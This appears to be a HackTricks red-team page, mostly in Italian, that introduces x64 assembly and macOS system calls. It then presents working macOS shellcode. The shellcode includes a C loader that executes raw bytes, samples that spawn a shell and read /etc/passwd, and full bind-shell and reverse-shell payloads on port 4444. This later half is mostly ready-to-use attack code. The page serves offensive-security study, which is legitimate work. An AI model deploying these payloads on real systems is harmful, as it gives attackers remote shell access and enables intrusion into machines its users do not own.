Introduction to x64

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
Ottieni il merchandising ufficiale di PEASS & HackTricks
Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud repos di github.

Introduzione a x64

x64, noto anche come x86-64, è un'architettura del processore a 64 bit utilizzata principalmente nel calcolo desktop e server. Originaria dell'architettura x86 prodotta da Intel e successivamente adottata da AMD con il nome AMD64, è l'architettura predominante nei computer personali e nei server odierni.

Registri

x64 amplia l'architettura x86, presentando 16 registri ad uso generale denominati rax, rbx, rcx, rdx, rbp, rsp, rsi, rdi e r8 fino a r15. Ciascuno di essi può memorizzare un valore 64-bit (8 byte). Questi registri dispongono anche di sotto-registri a 32 bit, 16 bit e 8 bit per la compatibilità e per compiti specifici.

rax - Tradizionalmente utilizzato per i valori di ritorno dalle funzioni.
rbx - Spesso utilizzato come registro base per le operazioni di memoria.
rcx - Comunemente utilizzato per i contatori di ciclo.
rdx - Utilizzato in vari ruoli, inclusa l'aritmetica estesa.
rbp - Puntatore base per il frame dello stack.
rsp - Puntatore stack, che tiene traccia della cima dello stack.
rsi e rdi - Utilizzati come indici sorgente e destinazione nelle operazioni di stringa/memoria.
r8 a r15 - Registri ad uso generale aggiuntivi introdotti in x64.

Convenzione di Chiamata

La convenzione di chiamata x64 varia tra i sistemi operativi. Ad esempio:

Windows: I primi quattro parametri vengono passati nei registri rcx, rdx, r8 e r9. Ulteriori parametri vengono spinti nello stack. Il valore di ritorno è in rax.
System V (comunemente usato nei sistemi simili a UNIX): I primi sei parametri interi o puntatori vengono passati nei registri rdi, rsi, rdx, rcx, r8 e r9. Anche il valore di ritorno è in rax.

Se la funzione ha più di sei input, il resto verrà passato nello stack. RSP, il puntatore stack, deve essere allineato a 16 byte, il che significa che l'indirizzo a cui punta deve essere divisibile per 16 prima di qualsiasi chiamata. Questo significa che normalmente dovremmo assicurarci che RSP sia correttamente allineato nel nostro shellcode prima di effettuare una chiamata di funzione. Tuttavia, nella pratica, le chiamate di sistema funzionano molte volte anche se questo requisito non è soddisfatto.

Convenzione di Chiamata in Swift

Swift ha la sua propria convenzione di chiamata che può essere trovata in https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64

Istruzioni Comuni

Le istruzioni x64 dispongono di un ricco set, mantenendo la compatibilità con le istruzioni x86 precedenti e introducendone di nuove.

mov: Sposta un valore da un registro o da una posizione di memoria a un'altra.
Esempio: mov rax, rbx — Sposta il valore da rbx a rax.
push e pop: Push o pop dei valori nello/ dallo stack.
Esempio: push rax — Inserisce il valore in rax nello stack.
Esempio: pop rax — Estrae il valore in cima allo stack in rax.
add e sub: Operazioni di addizione e sottrazione.
Esempio: add rax, rcx — Aggiunge i valori in rax e rcx memorizzando il risultato in rax.
mul e div: Operazioni di moltiplicazione e divisione. Nota: queste hanno comportamenti specifici relativi all'uso degli operandi.
call e ret: Usati per chiamare e ritornare dalle funzioni.
int: Usato per generare un interruzione software. Ad esempio, int 0x80 veniva utilizzato per le chiamate di sistema in Linux x86 a 32 bit.
cmp: Confronta due valori e imposta i flag della CPU in base al risultato.
Esempio: cmp rax, rdx — Confronta rax con rdx.
je, jne, jl, jge, ...: Istruzioni di salto condizionale che modificano il flusso di controllo in base ai risultati di un precedente cmp o test.
Esempio: Dopo un'istruzione cmp rax, rdx, je label — Salta a label se rax è uguale a rdx.
syscall: Usato per le chiamate di sistema in alcuni sistemi x64 (come Unix moderni).
sysenter: Un'istruzione di chiamata di sistema ottimizzata su alcune piattaforme.

Prologo della Funzione

Push del vecchio puntatore base: push rbp (salva il puntatore base del chiamante)
Sposta il puntatore stack corrente al puntatore base: mov rbp, rsp (imposta il nuovo puntatore base per la funzione corrente)
Assegna spazio nello stack per le variabili locali: sub rsp, <size> (dove <size> è il numero di byte necessario)

Epilogo della Funzione

Sposta il puntatore base corrente al puntatore stack: mov rsp, rbp (dealloca le variabili locali)
Estrai il vecchio puntatore base dallo stack: pop rbp (ripristina il puntatore base del chiamante)
Ritorna: ret (restituisce il controllo al chiamante)

macOS

chiamate di sistema

Ci sono diverse classi di chiamate di sistema, puoi trovarle qui:

#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */
#define SYSCALL_CLASS_IPC	5	/* Mach IPC */

Quindi, puoi trovare il numero di ogni chiamata di sistema in questo URL:

0	AUE_NULL	ALL	{ int nosys(void); }   { indirect syscall }
1	AUE_EXIT	ALL	{ void exit(int rval); }
2	AUE_FORK	ALL	{ int fork(void); }
3	AUE_NULL	ALL	{ user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4	AUE_NULL	ALL	{ user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5	AUE_OPEN_RWTC	ALL	{ int open(user_addr_t path, int flags, int mode); }
6	AUE_CLOSE	ALL	{ int close(int fd); }
7	AUE_WAIT4	ALL	{ int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8	AUE_NULL	ALL	{ int nosys(void); }   { old creat }
9	AUE_LINK	ALL	{ int link(user_addr_t path, user_addr_t link); }
10	AUE_UNLINK	ALL	{ int unlink(user_addr_t path); }
11	AUE_NULL	ALL	{ int nosys(void); }   { old execv }
12	AUE_CHDIR	ALL	{ int chdir(user_addr_t path); }
[...]

Quindi, per chiamare la chiamata di sistema open (5) dalla classe Unix/BSD è necessario aggiungere: 0x2000000

Quindi, il numero di chiamata di sistema per chiamare open sarebbe 0x2000005

Shellcodes

Per compilare:

nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

Per estrarre i byte:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'

Codice C per testare lo shellcode

```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### Shell

Prelevato da [**qui**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) e spiegato.

<div data-gb-custom-block data-tag="tabs">

<div data-gb-custom-block data-tag="tab" data-title='con adr'>

```armasm
bits 64
global _main
_main:
call    r_cmd64
db '/bin/zsh', 0
r_cmd64:                      ; the call placed a pointer to db (argv[2])
pop     rdi               ; arg1 from the stack placed by the call to l_cmd64
xor     rdx, rdx          ; store null arg3
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

bits 64
global _main

_main:
xor     rdx, rdx          ; zero our RDX
push    rdx               ; push NULL string terminator
mov     rbx, '/bin/zsh'   ; move the path into RBX
push    rbx               ; push the path, to the stack
mov     rdi, rsp          ; store the stack pointer in RDI (arg1)
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

Leggere con cat

L'obiettivo è eseguire execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), quindi il secondo argomento (x1) è un array di parametri (che in memoria significa uno stack degli indirizzi).

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 40         ; Allocate space on the stack similar to `sub sp, sp, #48`

lea rdi, [rel cat_path]   ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"

; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi   ; Add "/etc/passwd" to the stack (arg0)
push rdi   ; Add "/bin/cat" to the stack (arg1)

; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp    ; argv=rsp - store RSP's value in RSI

xor rdx, rdx    ; Clear rdx to hold NULL (no environment variables)

push    59      ; put 59 on the stack (execve syscall)
pop     rax     ; pop it to RAX
bts     rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall         ; Make the syscall

section .data
cat_path:      db "/bin/cat", 0
passwd_path:   db "/etc/passwd", 0

Esegui il comando con sh

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 32           ; Create space on the stack

; Argument array
lea rdi, [rel touch_command]
push rdi                      ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi                      ; push &"-c"
lea rdi, [rel sh_path]
push rdi                      ; push &"/bin/sh"

; execve syscall
mov rsi, rsp                  ; rsi = pointer to argument array
xor rdx, rdx                  ; rdx = NULL (no env variables)
push    59                    ; put 59 on the stack (execve syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

_exit:
xor rdi, rdi                  ; Exit status code 0
push    1                     ; put 1 on the stack (exit syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

section .data
sh_path:        db "/bin/sh", 0
sh_c_option:    db "-c", 0
touch_command:  db "touch /tmp/lalala", 0

Shell di bind

Shell di bind da https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html sulla porta 4444

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xffffffffa3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; bind(host_sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x68
syscall

; listen(host_sockid, 2)
xor  rsi, rsi
mov  sil, 0x2
mov  rax, r8
mov  al, 0x6a
syscall

; accept(host_sockid, 0, 0)
xor  rsi, rsi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x1e
syscall

mov rdi, rax
mov sil, 0x3

dup2:
; dup2(client_sockid, 2)
;   -> dup2(client_sockid, 1)
;   -> dup2(client_sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
mov  rax, r8
mov  al, 0x3b
syscall

Shell Inversa

Shell inversa da https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html. Shell inversa a 127.0.0.1:4444

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xfeffff80a3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; connect(sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x62
syscall

xor rsi, rsi
mov sil, 0x3

dup2:
; dup2(sockid, 2)
;   -> dup2(sockid, 1)
;   -> dup2(sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x3b
syscall

PreviousmacOS Apps - Inspecting, debugging and Fuzzing NextIntroduction to ARM64v8

Last updated 19 days ago